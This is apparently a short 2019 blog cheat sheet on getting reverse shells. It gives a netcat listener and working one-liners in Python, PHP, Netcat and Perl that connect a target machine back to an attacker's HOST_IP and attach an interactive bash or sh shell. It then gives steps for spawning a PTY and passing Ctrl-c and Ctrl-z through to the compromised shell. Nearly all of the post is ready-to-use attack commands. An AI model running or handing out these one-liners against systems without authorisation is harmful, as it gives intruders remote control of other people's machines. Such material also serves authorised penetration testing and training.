Reverse Shells

Apr 27, 2019

Getting a Shell

Listening on the Host

To setup a host to listen for incoming connections on port 4444.

$ nc -nvlp 4444

Transmitting from Target

Unix / Linux Reverse Shells.

The Python one is usually the best if the target has Python, much more likely to work.

You need to replace HOST_IP with the IP address of your host machine. The host needs to be exposing the selected port (here 4444) such that the target can access it.

After getting a reverse shell, you're likely to want to upgrade to a PTY and passthrough commands like Ctrl-c and Ctrl-z. For those, see "Spawning a PTY" and "Passing All Commands".

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("HOST_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

PHP

php -r '$sock=fsockopen("HOST_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Netcat

nc -e /bin/bash HOST_IP 4444
/bin/bash | nc HOST_IP 4444
rm -f /tmp/p; mknod /tmp/p p && nc HOST_IP 4444 0/tmp/p

Perl

perl -e 'use Socket;$i="HOST_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Spawning a PTY

Once inside a reverse shell, many commands such as su, nano and vim require a PTY in order to run. We can do this quite easily with any of the options below.

After spawning a PTY, you're likely to want to passthrough commands like Ctrl-c and Ctrl-z. For that, see "Passing All Commands".

Python

$ python -c 'import pty;pty.spawn("/bin/bash")'

Passing All Commands

There's a couple of ways to pass through commands from the host to the target reverse shell but the simplest and most versatile uses some magic around netcat and works almost every time!

  1. Once in your reverse shell, you want to hit Ctrl-z to background it.
  2. Tell your terminal session to echo all commands through to the target with stty raw -echo.
  3. Now you can bring your shell back to the foreground with fg.  It might look a bit strange and the alignment off. To fix this, just run reset.  
  4. Finally you can set some environment variables such that editors like nano can run correctly in your session.
$ export SHELL=bash
$ export TERM=xterm

Quick Reference

Ctrl-z
# stty raw -echo
# fg
$ reset
$ export SHELL=bash
$ export TERM=xterm

References

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.